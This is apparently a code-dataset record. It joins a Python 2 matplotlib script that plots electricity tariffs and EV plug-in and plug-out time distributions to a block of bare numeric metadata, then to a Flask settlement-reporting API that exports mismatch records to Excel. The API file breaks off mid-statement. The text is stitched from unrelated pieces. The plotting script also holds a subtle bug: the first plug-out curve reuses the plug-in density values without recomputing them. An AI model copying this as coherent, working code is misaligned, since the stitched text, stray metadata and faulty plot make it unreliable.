from numpy import * import matplotlib.pyplot as plt import pandas as pd from datetime import timedelta, datetime, time from matplotlib import rcParams rcParams.update({'figure.autolayout': True}) #rcParams['mathtext.fontset'] = 'custom' ##rcParams['mathtext.rm'] = 'Bitstream Vera Sans' #rcParams['mathtext.it'] = 'Bitstream Vera Sans:italic' #rcParams['mathtext.bf'] = 'Bitstream Vera Sans:bold' import matplotlib.mlab as mlab import math df = pd.DataFrame(index=pd.DatetimeIndex(start=datetime(2002,1,1), periods=1440, freq='T')) df['Europe'] = 0.16 df.loc[(df.index.time > time(hour=13, minute=00)) & ( df.index.time < time(hour=16, minute=00)), 'Europe'] = 0.107 df.loc[(df.index.time > time(hour=20, minute=00)) & ( df.index.time < time(hour=22, minute=00)), 'Europe'] = 0.107 df.loc[(df.index.time > time(hour=00, minute=00)) & ( df.index.time < time(hour=5, minute=00)), 'Europe'] = 0.107 df['US'] = 0.202 df.loc[(df.index.time > time(hour=8, minute=30)) & ( df.index.time < time(hour=21, minute=30)), 'US'] = 0.230 df.loc[(df.index.time > time(hour=12, minute=00)) & ( df.index.time < time(hour=18, minute=00)), 'US'] = 0.253 df['US'] = df['US'] dOLLARS=df['US'].values pOUNDS=df['Europe'].values print shape(dOLLARS[:]) sticks = [] disc=60*4 for i in range(0, 1441, disc): if int(round(i/60))<10: hours = "0"+str(int(round(i/60))) else: hours = str(int(round(i/60))) if int(round(i%60))<10: minutes = "0"+str(int(round(i%60))) else: minutes = str(int(round(i%60))) sticks.append(hours+":"+minutes) pos = arange(1441) ################################################## 1 #shift axes shift=0 fig, ax = plt.subplots() ind = arange(0,1440) ax.plot(ind, dOLLARS, '-', label="Import/export tariff, USA") ax.plot(ind, pOUNDS*1.28, '-', label="Import tariff, UK") ax.plot(ind, repeat(0.0485,1440)*1.28, '-', label="Export tariff, UK") ax.set_xticks(pos[::disc]) ax.set_xticklabels(sticks) ax.set_xlim(0, 1440) ax.set_ylabel("$/kWh") ax.legend(loc=4, ncol=3, numpoints=1, fancybox=False, framealpha=0.7) ax2 = ax.twinx() ax2.set_ylabel(u'\u00A3'+'/kWh') #ax.set_ylim(0.0001, 0.35) #ax2.set_ylim(0.0001/1.28, 0.35/1.28) plt.show() ''' ################################################## 2 fig, ax = plt.subplots() ind = arange(0,1440) #ax.plot(ind, dOLLARS, '-', label="Import/export tariff, USA") #ax.plot(ind, pOUNDS*1.28, '-', label="Import tariff, UK") #ax.plot(ind, repeat(0.0485,1440)*1.28, '-', label="Export tariff, UK") mu = (12+1)*60+38 variance = (0.33*60)**2 sigma = math.sqrt(variance) x = linspace(mu - 3*sigma, mu + 3*sigma, 100) plt.plot(x,mlab.normpdf(x, mu, sigma)) mu = (12+5)*60+40 variance = (0.33*60)**2 sigma = math.sqrt(variance) x = linspace(mu - 3*sigma, mu + 3*sigma, 100) plt.plot(x,mlab.normpdf(x, mu, sigma)) mu = (12+8)*60+38 variance = (0.89*60)**2 sigma = math.sqrt(variance) x = linspace(mu - 3*sigma, mu + 3*sigma, 100) plt.plot(x,mlab.normpdf(x, mu, sigma)) mu = 7*60+40 variance = (0.57*60)**2 sigma = math.sqrt(variance) x = linspace(mu - 3*sigma, mu + 3*sigma, 100) plt.plot(x,mlab.normpdf(x, mu, sigma)) ax.set_xticks(pos[::disc]) ax.set_xticklabels(sticks) ax.set_xlim(0, 1440) ax.set_ylabel("$/kWh") ax.legend(loc=2, ncol=1, numpoints=1, fancybox=False, framealpha=0.7) ax2 = ax.twinx() ax2.set_ylabel(u'\u00A3'+'/kWh') #ax.set_ylim(0.0001, 0.35) #ax2.set_ylim(0.0001/1.28, 0.35/1.28) plt.show() ''' ################################################## 1 #shift axes shift=12 #sticks = ['12:00', '00:00', '12:00', "Plug-in time\n$\mathcal{N}$ ($\mu$=6:38pm, $\sigma$=0.89h)", "Plug-out time\n$\mathcal{N}$ ($\mu$=7:40pm, $\sigma$=0.57h)"] sticks = ['12:00', '00:00', '12:00', "18:38", "7:40"] poss = [0, 720, 1440 , (12+6-shift)*60+38, (7+shift)*60+40] #pos[::disc] fig, ax = plt.subplots() ind = arange(0,1440) #ax.plot(ind, dOLLARS, '-', label="Import/export tariff, USA") #ax.plot(ind, pOUNDS*1.28, '-', label="Import tariff, UK") #ax.plot(ind, repeat(0.0485,1440)*1.28, '-', label="Export tariff, UK") mu = (12+6-shift)*60+38 variance = (0.89*60)**2 sigma = math.sqrt(variance) x = linspace(mu - 100*sigma, mu + 100*sigma, 10000) y=mlab.normpdf(x, mu, sigma) plt.plot(x,y, color="g") plt.fill_between(x, 0, y, color='g', alpha=0.4, label="Plug-in time $\mathcal{N}$ ($\mu$=18:38, $\sigma$=0.89h)") mu = (7+shift)*60+40 variance = (0.57*60)**2 sigma = math.sqrt(variance) x = linspace(mu - 100*sigma, mu + 100*sigma, 10000) plt.plot(x,y, color="purple") plt.fill_between(x, 0, y, color='purple', alpha=0.4, label="Plug-out time $\mathcal{N}$ ($\mu$=7:40, $\sigma$=0.57h)") tilt=0#0.16 plt.arrow((12+6-shift)*60+38, 0.004-0.0006, (((7+shift)*60+40)-((12+6-shift)*60+38)-10), tilt, width=0.0000000001, fc='k', ec='k', head_width=0.0003, head_length=10) plt.text((12+6-shift)*60+38, 0.004-0.0005, "B$\sim$$\mathcal{U}$(50%, 90%) ", fontsize=12) plt.text(((7+shift)*60+40), 0.004-0.0005+tilt, r"B$^\theta$=100%", fontsize=12) #plt.scatter(((7+shift)*60+40), 0.004*100-0.04+0.15, marker='x', s=100, c="r")#'x', c='r') #ax.xaxis.set_ticks_position('none') ax.set_yticks(ax.get_yticks()[::2]) ax.set_xticks(poss) ax.set_xticklabels(sticks) ax.set_xlim(0, 1440) ax.set_ylabel("Propability density") leg = plt.legend(fancybox=True, loc="upper center") # set the alpha value of the legend: it will be translucent leg.get_frame().set_alpha(0.7) #ax2 = ax.twinx() #ax2.set_ylabel(u'\u00A3'+'/kWh') #ax.set_ylim(0.0001, 0.35) #ax2.set_ylim(0.0001/1.28, 0.35/1.28) #plt.legend() plt.show() ################################################## 2 #shift axes shift=12 sticks = ['12:00', '00:00', '12:00', "20:38", "7:40", "13:00", "17:00"] poss = [0, 720, 1440 , (12+8-shift)*60+38, (7+shift)*60+40, (12+1-shift)*60+38, (12+5-shift)*60+40] #pos[::disc] fig, ax = plt.subplots() ind = arange(0,1440) #ax.plot(ind, dOLLARS, '-', label="Import/export tariff, USA") #ax.plot(ind, pOUNDS*1.28, '-', label="Import tariff, UK") #ax.plot(ind, repeat(0.0485,1440)*1.28, '-', label="Export tariff, UK") mu = (12+1-shift)*60+38 variance = (0.33*60)**2 sigma = math.sqrt(variance) x = linspace(mu - 100*sigma, mu + 100*sigma, 10000) y=mlab.normpdf(x, mu, sigma) plt.plot(x,y, color="g") plt.fill_between(x, 0, y, color='g', alpha=0.4, label="Plug-in time $\mathcal{N}$ ($\mu$=13:00, $\sigma$=0.33)",hatch='\\') mu = (12+5-shift)*60+40 variance = (0.33*60)**2 sigma = math.sqrt(variance) x = linspace(mu - 100*sigma, mu + 100*sigma, 10000) y=mlab.normpdf(x, mu, sigma) plt.plot(x,y, color="purple") plt.fill_between(x, 0, y, color='purple', alpha=0.4, label="Plug-out time $\mathcal{N}$ ($\mu$=17:00, $\sigma$=0.33h)",hatch='\\') mu = (12+8-shift)*60+38 variance = (0.89*60)**2 sigma = math.sqrt(variance) x = linspace(mu - 100*sigma, mu + 100*sigma, 10000) y=mlab.normpdf(x, mu, sigma) plt.plot(x,y, color="g") plt.fill_between(x, 0, y, color='g', alpha=0.4, label="Plug-in time $\mathcal{N}$ ($\mu$=20:38, $\sigma$=0.89h)") mu = (7+shift)*60+40 variance = (0.57*60)**2 sigma = math.sqrt(variance) x = linspace(mu - 100*sigma, mu + 100*sigma, 10000) y=mlab.normpdf(x, mu, sigma) plt.plot(x,y, color="purple") plt.fill_between(x, 0, y, color='purple', alpha=0.4, label="Plug-out time $\mathcal{N}$ ($\mu$=7:40, $\sigma$=0.57h)") tilt=0#0.16 plt.arrow((12+8-shift)*60+38, 0.004-0.0006, (((7+shift)*60+40)-((12+8-shift)*60+38)-10), tilt, width=0.0000000001, fc='k', ec='k', head_width=0.0003, head_length=10) plt.text((12+8-shift)*60+38, 0.004-0.0005, "B$\sim$$\mathcal{U}$(60%, 90%) ", fontsize=12) plt.text(((7+shift)*60+40), 0.004-0.0005+tilt, r"B$^\theta$=100%", fontsize=12) plt.arrow((12+1-shift)*60+38, 0.004-0.0006, (((12+5-shift)*60+40)-((12+1-shift)*60+38)-10), tilt, width=0.0000000001, fc='k', ec='k', head_width=0.0003, head_length=10) plt.text((12+1-shift)*60+38, 0.004-0.0005, "B$\sim$$\mathcal{U}$(80%, 90%) ", fontsize=12) plt.text(((12+5-shift)*60+40), 0.004-0.0005+tilt, r"B$^\theta$=100%", fontsize=12) #plt.scatter(((7+shift)*60+40), 0.004*100-0.04+0.15, marker='x', s=100, c="r")#'x', c='r') #ax.xaxis.set_ticks_position('none') ax.set_yticks(ax.get_yticks()[::2]) ax.set_xticks(poss) ax.set_xticklabels(sticks) ax.set_xlim(0, 1440) ax.set_ylabel("Propability density") leg = plt.legend(fancybox=True, loc="upper right", ncol=2) # set the alpha value of the legend: it will be translucent leg.get_frame().set_alpha(0.7) #ax2 = ax.twinx() #ax2.set_ylabel(u'\u00A3'+'/kWh') #ax.set_ylim(0.0001, 0.35) #ax2.set_ylim(0.0001/1.28, 0.35/1.28) #plt.legend() plt.show()
32.396947
168
0.62771
1,571
8,488
3.35837
0.131763
0.038476
0.025588
0.028431
0.84818
0.818992
0.809515
0.760235
0.74981
0.74981
0
0.138947
0.104618
8,488
261
169
32.521073
0.555263
0.172361
0
0.492308
0
0.046154
0.139829
0.013359
0
0
0
0
0
0
null
null
0
0.069231
null
null
0.007692
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
4c9a1abe5600d0a838ae2606682e5bc3b0536144
29,977
py
Python
routes/api/settlementApi.py
chojh04/BackOffice
d6a9d9be3689abfcb3e0a47b09b1589e74334ddc
[ "MIT" ]
null
null
null
routes/api/settlementApi.py
chojh04/BackOffice
d6a9d9be3689abfcb3e0a47b09b1589e74334ddc
[ "MIT" ]
null
null
null
routes/api/settlementApi.py
chojh04/BackOffice
d6a9d9be3689abfcb3e0a47b09b1589e74334ddc
[ "MIT" ]
null
null
null
# -*- coding:utf-8 -*- import datetime import json import os import sys import threading import time import zipfile from flask import Blueprint, request from flask.globals import session, current_app import xlsxwriter from routes.api.systemMngApi import postBatchMng, putBatchMng from util.common import paramEscape, getApiData, getParameter, getData, setStringToNumber, \ API_SERVER_BILLINGSERVICE, parseDate, EXCEL_FILE_MAKE_LIMT_COUNT, \ EXCEL_FILE_DOWNLOAD_COUNT, setUnicodeEncodeTypeToEucKr, setUnicodeFormatToEucKr settlementApi = Blueprint("settlementApi", __name__) @settlementApi.route("/api/settlementApi/settlement/gsStatistics", methods=['GET']) def getGsSettlementStatistics(): form_data = json.loads(request.args.get("formData")) searchDate = getParameter(form_data , "startDate").split(' - ') startDate = paramEscape(searchDate[0]) endDate = paramEscape(searchDate[1]) queryData = { "jobDivider" : getParameter(form_data,"selType"), #String, //직원 ID "startDate" : startDate, "endDate" : endDate, } resultData = getApiData("/v1/settlement/gsStatistics", queryData , API_SERVER_BILLINGSERVICE) print(resultData) return json.dumps(resultData) @settlementApi.route("/api/settlementApi/settlement/hmStatistics", methods=['GET']) def getHmSettlementStatistics(): form_data = json.loads(request.args.get("formData")) searchDate = getParameter(form_data , "startDate").split(' - ') startDate = paramEscape(searchDate[0]) endDate = paramEscape(searchDate[1]) queryData = { "jobDivider" : getParameter(form_data,"selType"), #String, //직원 ID "startDate" : startDate, "endDate" : endDate, } resultData = getApiData("/v1/settlement/hmStatistics", queryData , API_SERVER_BILLINGSERVICE) print(resultData) return json.dumps(resultData) @settlementApi.route("/api/settlementApi/settlement/gsStatistics/errorDetail", methods=['GET']) def errorDetail(): form_data = json.loads(request.args.get("formData")) queryData = { "jobDivider" : getParameter(form_data,"jobDivider"), "workDt" : getParameter(form_data,"workDt"), 'limit': setStringToNumber(request.args.get("length")), 'offset': setStringToNumber(request.args.get("start")), } resultData = getApiData("/v1/settlement/gsStatistics/errorDetail", queryData , API_SERVER_BILLINGSERVICE) return json.dumps(resultData) @settlementApi.route("/api/settlementApi/settlement/hmStatistics/errorDetail", methods=['GET']) def hmErrorDetail(): form_data = json.loads(request.args.get("formData")) queryData = { "jobDivider" : getParameter(form_data,"jobDivider"), "workDt" : getParameter(form_data,"workDt"), 'limit': setStringToNumber(request.args.get("length")), 'offset': setStringToNumber(request.args.get("start")), } resultData = getApiData("/v1/settlement/hmStatistics/errorDetail", queryData , API_SERVER_BILLINGSERVICE) return json.dumps(resultData) @settlementApi.route("/api/settlementApi/settlement/gsStatistics/errorDetailExcel", methods=['GET']) def errorDetailExcel(): form_data = {} queryData = { "jobDivider" : getParameter(form_data,"jobDivider"), "workDt" : getParameter(form_data,"workDt"), 'offset': 0, 'limit': EXCEL_FILE_DOWNLOAD_COUNT, "empId" : session['empId'] } rootPath = current_app.root_path t1 = threading.Thread(target=makeSettlementErrorExcelFile,args=[queryData,rootPath]) t1.daemon = True t1.start() return "엑셀 작업요청" @settlementApi.route("/api/settlementApi/settlement/hmStatistics/errorDetailExcel", methods=['GET']) def hmErrorDetailExcel(): form_data = {} queryData = { "jobDivider" : getParameter(form_data,"jobDivider"), "workDt" : getParameter(form_data,"workDt"), 'offset': 0, 'limit': EXCEL_FILE_DOWNLOAD_COUNT, "empId" : session['empId'] } rootPath = current_app.root_path t1 = threading.Thread(target=makeHmSettlementErrorExcelFile,args=[queryData,rootPath]) t1.daemon = True t1.start() return "엑셀 작업요청" def makeSettlementErrorExcelFile(queryData,rootPath): excelZip = None jobStatus = 0 batchId = None jobDivider = str(queryData.get('jobDivider')); if jobDivider is None : jobDivider = "" try: fileCnt = 1 makeDate = datetime.datetime.now().strftime('%Y%m%d') makeTime = str(int(round(time.time()*1000))) uploads = os.path.join(rootPath, "fileDownload" , "excel" , makeTime) if not os.path.isdir(uploads): os.makedirs(uploads) zipFileName = u'GS대사_불일치('+jobDivider+u')_'+ makeDate +'.zip' #작업 시작 메시지 추가 batchId = postBatchMng({ "reqId" : queryData['empId'], "status" : "BAT-0001" , # 진행중 "filePath" : os.path.join(uploads ,zipFileName), "content" : "GS대사 불일치", "errMsg" : "" })["data"]["batchId"] fileName = 'GS대사_불일치('+jobDivider+')_'+ makeDate+ '_' + str(fileCnt) + '.xlsx' workbook = xlsxwriter.Workbook(os.path.join(uploads , setUnicodeEncodeTypeToEucKr(fileName))) worksheet = workbook.add_worksheet() money_format = workbook.add_format() money_format.set_num_format('_- #,##0_-;[red]- #,##0_-;_- "-"_-;_-@_-') row = 0 worksheet.write(row, 0 ,"거래처") worksheet.write(row, 1 ,"영업일자") worksheet.write(row, 2 ,"점포코드") worksheet.write(row, 3 ,"점포명(사용처)") worksheet.write(row, 4 ,"지불상태") worksheet.write(row, 5 ,"상태") worksheet.write(row, 6 ,"주문번호") worksheet.write(row, 7 ,"승인번호") worksheet.write(row, 8 ,"승인일자") worksheet.write(row, 9 ,"승인시간") worksheet.write(row, 10 ,"거래금액") worksheet.write(row, 11 ,"카드번호") worksheet.write(row, 12 ,"불일치내역") while True : searchData = getData("/v1/settlement/gsStatistics/errorDetailAll" ,queryData,API_SERVER_BILLINGSERVICE) for data in searchData["resultList"]: row += 1 worksheet.write(row, 0 ,data["jobDivider"]) worksheet.write(row, 1 ,data["saleDt"]) worksheet.write(row, 2 ,data["storeCd"]) worksheet.write(row, 3 ,data["storeNm"]) worksheet.write(row, 4 ,data["dealType"]) worksheet.write(row, 5 ,data["dealDivider"]) worksheet.write(row, 6 ,data["dealNo"]) worksheet.write(row, 7 ,data["approvalNo"]) worksheet.write(row, 8 ,parseDate(data["approvalDt"] ,'%Y%m%d' ,'%Y-%m-%d')) if data["approvalTime"] is None: worksheet.write(row, 9, "") else: worksheet.write(row, 9, parseDate(data["approvalDt"] + " " + data["approvalTime"],'%Y%m%d %H%M%S' ,'%H:%M:%S')) worksheet.write_number(row, 10 ,long(data["dealAmt"]), money_format) worksheet.write(row, 11 ,data["cardNo"]) worksheet.write(row, 12 ,data["statusNm"]) if row >= EXCEL_FILE_MAKE_LIMT_COUNT : row = 0 fileCnt += 1 fileName = 'GS대사_불일치('+jobDivider+')_'+ makeDate+ '_' + str(fileCnt) + '.xlsx' # 디비 조회건수 * 2 row 생성시 파일 재생성 workbook.close() workbook = xlsxwriter.Workbook(os.path.join(uploads , setUnicodeEncodeTypeToEucKr(fileName))) money_format = workbook.add_format() money_format.set_num_format('_- #,##0_-;[red]- #,##0_-;_- "-"_-;_-@_-') worksheet = workbook.add_worksheet() worksheet.write(row, 0 ,data["jobDivider"]) worksheet.write(row, 1 ,data["saleDt"]) worksheet.write(row, 2 ,data["storeCd"]) worksheet.write(row, 3 ,data["storeNm"]) worksheet.write(row, 4 ,data["dealType"]) worksheet.write(row, 5 ,data["dealDivider"]) worksheet.write(row, 6 ,data["dealNo"]) worksheet.write(row, 7 ,data["approvalNo"]) worksheet.write(row, 8 ,parseDate(data["approvalDt"] ,'%Y%m%d' ,'%Y-%m-%d')) if data["approvalTime"] is None: worksheet.write(row, 9 ,"") else: worksheet.write(row, 9 ,parseDate(data["approvalDt"] + " " + data["approvalTime"],'%Y%m%d %H%M%S' ,'%H:%M:%S')) worksheet.write_number(row, 10 ,long(data["dealAmt"]), money_format) worksheet.write(row, 11 ,data["cardNo"]) worksheet.write(row, 12 ,data["statusNm"]) queryData["offset"] = queryData["offset"] + EXCEL_FILE_DOWNLOAD_COUNT if len(searchData["resultList"]) < EXCEL_FILE_DOWNLOAD_COUNT : break workbook.close() excelZip = zipfile.ZipFile(os.path.join(uploads ,zipFileName),'w') for folder, subfolders, files in os.walk(uploads): for file in files: if file.endswith('.xlsx'): # excelZip.write(os.path.join(folder ,file), os.path.relpath(os.path.join(folder ,file) , uploads), compress_type=zipfile.ZIP_DEFLATED) excelZip.write(os.path.join(folder ,file), setUnicodeFormatToEucKr(file), compress_type=zipfile.ZIP_DEFLATED) except Exception as err: #에러 메시지 추가 putBatchMng({ "batchId" : str(batchId), "reqId" : queryData['empId'], "status" : "BAT-0003" , # 진행중 "errMsg" : str(err) }) jobStatus = 1 print err finally: if excelZip != None: excelZip.close() if jobStatus == 0 : putBatchMng({ "batchId" : str(batchId), "reqId" : queryData['empId'], "status" : "BAT-0002" , # 진행중 "errMsg" : "" }) #성공 메시지 추가 print "성공" def makeHmSettlementErrorExcelFile(queryData,rootPath): excelZip = None jobStatus = 0 batchId = None try: fileCnt = 1 makeDate = datetime.datetime.now().strftime('%Y%m%d') makeTime = str(int(round(time.time()*1000))) uploads = os.path.join(rootPath, "fileDownload" , "excel" , makeTime) if not os.path.isdir(uploads): os.makedirs(uploads) zipFileName = u'HM대사_불일치_'+ makeDate +'.zip' #작업 시작 메시지 추가 batchId = postBatchMng({ "reqId" : queryData['empId'], "status" : "BAT-0001" , # 진행중 "filePath" : os.path.join(uploads ,zipFileName), "content" : "HM대사_불일치", "errMsg" : "" })["data"]["batchId"] fileName = 'HM대사_불일치_' + makeDate + '_' + str(fileCnt) + '.xlsx' workbook = xlsxwriter.Workbook(os.path.join(uploads ,setUnicodeEncodeTypeToEucKr(fileName))) money_format = workbook.add_format() money_format.set_num_format('_- #,##0_-;[red]- #,##0_-;_- "-"_-;_-@_-') worksheet = workbook.add_worksheet() row = 0 worksheet.write(row, 0 ,"거래처") worksheet.write(row, 1 ,"영업일자") worksheet.write(row, 2 ,"지불상태") worksheet.write(row, 3 ,"주문번호") worksheet.write(row, 4 ,"승인번호") worksheet.write(row, 5 ,"거래금액") worksheet.write(row, 6 ,"불일치내역") while True : searchData = getData("/v1/settlement/hmStatistics/errorDetailAll" ,queryData,API_SERVER_BILLINGSERVICE) for data in searchData["resultList"]: row += 1 worksheet.write(row, 0 ,data["jobDivider"]) worksheet.write(row, 1 ,data["saleDt"]) worksheet.write(row, 2 ,data["dealType"]) worksheet.write(row, 3 ,data["dealNo"]) worksheet.write(row, 4 ,data["approvalNo"]) worksheet.write_number(row, 5 ,long(data["dealAmt"]), money_format) worksheet.write(row, 6 ,data["statusNm"]) if row >= EXCEL_FILE_MAKE_LIMT_COUNT : row = 0 fileCnt += 1 fileName = 'HM대사_불일치_'+ makeDate +'_' + str(fileCnt) + '.xlsx' # 디비 조회건수 * 2 row 생성시 파일 재생성 workbook.close() workbook = xlsxwriter.Workbook(os.path.join(uploads ,setUnicodeEncodeTypeToEucKr(fileName))) money_format = workbook.add_format() money_format.set_num_format('_- #,##0_-;[red]- #,##0_-;_- "-"_-;_-@_-') worksheet = workbook.add_worksheet() worksheet.write(row, 0 ,data["jobDivider"]) worksheet.write(row, 1 ,data["saleDt"]) worksheet.write(row, 2 ,data["dealType"]) worksheet.write(row, 3 ,data["dealNo"]) worksheet.write(row, 4 ,data["approvalNo"]) worksheet.write_number(row, 5 ,long(data["dealAmt"]), money_format) worksheet.write(row, 6 ,data["statusNm"]) queryData["offset"] = queryData["offset"] + EXCEL_FILE_DOWNLOAD_COUNT if len(searchData["resultList"]) < EXCEL_FILE_DOWNLOAD_COUNT : break workbook.close() excelZip = zipfile.ZipFile(os.path.join(uploads ,zipFileName),'w') for folder, subfolders, files in os.walk(uploads): for file in files: if file.endswith('.xlsx'): excelZip.write(os.path.join(folder ,file), setUnicodeFormatToEucKr(file), compress_type=zipfile.ZIP_DEFLATED) except Exception as err: #에러 메시지 추가 putBatchMng({ "batchId" : str(batchId), "reqId" : queryData['empId'], "status" : "BAT-0003" , # 진행중 "errMsg" : str(err) }) jobStatus = 1 print err finally: if excelZip != None: excelZip.close() if jobStatus == 0 : putBatchMng({ "batchId" : str(batchId), "reqId" : queryData['empId'], "status" : "BAT-0002" , # 진행중 "errMsg" : "" }) #성공 메시지 추가 print "성공" @settlementApi.route("/api/settlementApi/settlement/gsStatistics/inconsistencyInq", methods=['GET']) def inconsistencyInq(): form_data = json.loads(request.args.get("formData")) searchDate = getParameter(form_data , "startDate").split(' - ') startDate = paramEscape(searchDate[0]) endDate = paramEscape(searchDate[1]) queryData = { "jobDivider" : getParameter(form_data,"selType"), "startDate" : startDate, "endDate" : endDate, 'dateType': getParameter(form_data,"dateType"), 'dealType': paramEscape(getParameter(form_data,"dealType")), 'dealDivider': paramEscape(getParameter(form_data,"dealDivider")), 'orderNo': paramEscape(getParameter(form_data,"orderNo")), 'limit': setStringToNumber(request.args.get("length")), 'offset': setStringToNumber(request.args.get("start")), 'isExcel': getParameter(form_data, "isExcel") } resultData = getApiData("/v1/settlement/gsStatistics/inconsistency", queryData , API_SERVER_BILLINGSERVICE) return json.dumps(resultData) @settlementApi.route("/api/settlementApi/settlement/hmStatistics/inconsistencyInq", methods=['GET']) def hmInconsistencyInq(): form_data = json.loads(request.args.get("formData")) searchDate = getParameter(form_data , "startDate").split(' - ') startDate = paramEscape(searchDate[0]) endDate = paramEscape(searchDate[1]) queryData = { "jobDivider" : getParameter(form_data,"selType"), "startDate" : startDate, "endDate" : endDate, 'dateType': getParameter(form_data,"dateType"), 'dealType': paramEscape(getParameter(form_data,"dealType")), 'dealDivider': paramEscape(getParameter(form_data,"dealDivider")), 'orderNo': paramEscape(getParameter(form_data,"orderNo")), 'limit': setStringToNumber(request.args.get("length")), 'offset': setStringToNumber(request.args.get("start")), } resultData = getApiData("/v1/settlement/hmStatistics/inconsistency", queryData , API_SERVER_BILLINGSERVICE) return json.dumps(resultData) @settlementApi.route("/api/settlementApi/settlement/gsStatistics/errorExcel", methods=['GET']) def errorExcel(): form_data = {} searchDate = getParameter(form_data , "startDate").split(' - ') startDate = paramEscape(searchDate[0]) endDate = paramEscape(searchDate[1]) queryData = { "jobDivider" : getParameter(form_data,"selType"), "startDate" : startDate, "endDate" : endDate, 'dateType': getParameter(form_data,"dateType"), 'dealType': paramEscape(getParameter(form_data,"dealType")), 'dealDivider': paramEscape(getParameter(form_data,"dealDivider")), 'orderNo': paramEscape(getParameter(form_data,"orderNo")), 'offset': 0, 'limit': EXCEL_FILE_DOWNLOAD_COUNT, "empId" : session['empId'], "isExcel": "Y" } rootPath = current_app.root_path t1 = threading.Thread(target=makeSettlementErrorExcelDurationFile,args=[queryData,rootPath]) t1.daemon = True t1.start() return "엑셀 작업요청" @settlementApi.route("/api/settlementApi/settlement/hmStatistics/errorExcel", methods=['GET']) def hmErrorExcel(): form_data = {} searchDate = getParameter(form_data , "startDate").split(' - ') startDate = paramEscape(searchDate[0]) endDate = paramEscape(searchDate[1]) queryData = { "jobDivider" : getParameter(form_data,"selType"), "startDate" : startDate, "endDate" : endDate, 'dateType': getParameter(form_data,"dateType"), 'dealType': paramEscape(getParameter(form_data,"dealType")), 'dealDivider': paramEscape(getParameter(form_data,"dealDivider")), 'orderNo': paramEscape(getParameter(form_data,"orderNo")), 'offset': 0, 'limit': EXCEL_FILE_DOWNLOAD_COUNT, "empId" : session['empId'] } rootPath = current_app.root_path t1 = threading.Thread(target=makeHmSettlementErrorExcelDurationFile,args=[queryData,rootPath]) t1.daemon = True t1.start() return "엑셀 작업요청" def makeSettlementErrorExcelDurationFile(queryData,rootPath): excelZip = None jobStatus = 0 batchId = None jobDivider = str(queryData.get('jobDivider')) if jobDivider is None : jobDivider = "" try: fileCnt = 1 makeDate = datetime.datetime.now().strftime('%Y%m%d') makeTime = str(int(round(time.time()*1000))) uploads = os.path.join(rootPath, "fileDownload" , "excel" , makeTime) if not os.path.isdir(uploads): os.makedirs(uploads) zipFileName = u'GS대사_불일치('+jobDivider+u')_'+ makeDate +'.zip' #작업 시작 메시지 추가 batchId = postBatchMng({ "reqId" : queryData['empId'], "status" : "BAT-0001" , # 진행중 "filePath" : os.path.join(uploads ,zipFileName), "content" : "GS대사 불일치", "errMsg" : "" })["data"]["batchId"] fileName = 'GS대사_불일치('+jobDivider+')_' + makeDate + '_' + str(fileCnt) + '.xlsx' workbook = xlsxwriter.Workbook(os.path.join(uploads ,setUnicodeEncodeTypeToEucKr(fileName))) worksheet = workbook.add_worksheet() money_format = workbook.add_format() money_format.set_num_format('_- #,##0_-;[red]- #,##0_-;_- "-"_-;_-@_-') row = 0 worksheet.write(row, 0 ,"거래처") worksheet.write(row, 1 ,"영업일자") worksheet.write(row, 2 ,"점포코드") worksheet.write(row, 3 ,"점포명(사용처)") worksheet.write(row, 4 ,"지불상태") worksheet.write(row, 5 ,"상태") worksheet.write(row, 6 ,"주문번호") worksheet.write(row, 7 ,"승인번호") worksheet.write(row, 8 ,"승인일자") worksheet.write(row, 9 ,"승인시간") worksheet.write(row, 10 ,"거래금액") worksheet.write(row, 11 ,"카드번호") worksheet.write(row, 12 ,"불일치내역") worksheet.write(row, 13 ,"취소사유") while True : searchData = getData("/v1/settlement/gsStatistics/inconsistency" ,queryData,API_SERVER_BILLINGSERVICE) print searchData for data in searchData["resultList"]: row += 1 worksheet.write(row, 0 ,data["jobDivider"]) worksheet.write(row, 1 ,data["saleDt"]) worksheet.write(row, 2 ,data["storeCd"]) worksheet.write(row, 3 ,data["storeNm"]) worksheet.write(row, 4 ,data["dealType"]) worksheet.write(row, 5 ,data["dealDivider"]) worksheet.write(row, 6 ,data["dealNo"]) worksheet.write(row, 7 ,data["approvalNo"]) worksheet.write(row, 8 ,parseDate(data["approvalDt"] ,'%Y%m%d' ,'%Y-%m-%d')) if data["approvalTime"] is None: worksheet.write(row, 9 ,"") else: worksheet.write(row, 9 ,parseDate(data["approvalDt"] + " " + data["approvalTime"],'%Y%m%d %H%M%S' ,'%H:%M:%S')) worksheet.write_number(row, 10 ,long(data["dealAmt"]), money_format) worksheet.write(row, 11 ,data["cardNo"]) worksheet.write(row, 12 ,data["statusNm"]) worksheet.write(row, 13 ,data["cancelMemo"]) if row >= EXCEL_FILE_MAKE_LIMT_COUNT : row = 0 fileCnt += 1 fileName = 'GS대사_불일치('+jobDivider+')_'+ makeDate + '_' + str(fileCnt) + '.xlsx' # 디비 조회건수 * 2 row 생성시 파일 재생성 workbook.close() workbook = xlsxwriter.Workbook(os.path.join(uploads , setUnicodeEncodeTypeToEucKr(fileName))) money_format = workbook.add_format() money_format.set_num_format('_- #,##0_-;[red]- #,##0_-;_- "-"_-;_-@_-') worksheet = workbook.add_worksheet() worksheet.write(row, 0 ,data["jobDivider"]) worksheet.write(row, 1 ,data["saleDt"]) worksheet.write(row, 2 ,data["storeCd"]) worksheet.write(row, 3 ,data["storeNm"]) worksheet.write(row, 4 ,data["dealType"]) worksheet.write(row, 5 ,data["dealDivider"]) worksheet.write(row, 6 ,data["dealNo"]) worksheet.write(row, 7 ,data["approvalNo"]) worksheet.write(row, 8 ,parseDate(data["approvalDt"] ,'%Y%m%d' ,'%Y-%m-%d')) if data["approvalTime"] is None: worksheet.write(row, 9 ,"") else: worksheet.write(row, 9 ,parseDate(data["approvalDt"] + " " + data["approvalTime"],'%Y%m%d %H%M%S' ,'%H:%M:%S')) worksheet.write_number(row, 10 ,long(data["dealAmt"]), money_format) worksheet.write(row, 11 ,data["cardNo"]) worksheet.write(row, 12 ,data["statusNm"]) worksheet.write(row, 13 ,data["cancelMemo"]) queryData["offset"] = queryData["offset"] + EXCEL_FILE_DOWNLOAD_COUNT if len(searchData["resultList"]) < EXCEL_FILE_DOWNLOAD_COUNT : break workbook.close() excelZip = zipfile.ZipFile(os.path.join(uploads ,zipFileName),'w') for folder, subfolders, files in os.walk(uploads): for file in files: if file.endswith('.xlsx'): excelZip.write(os.path.join(folder ,file), 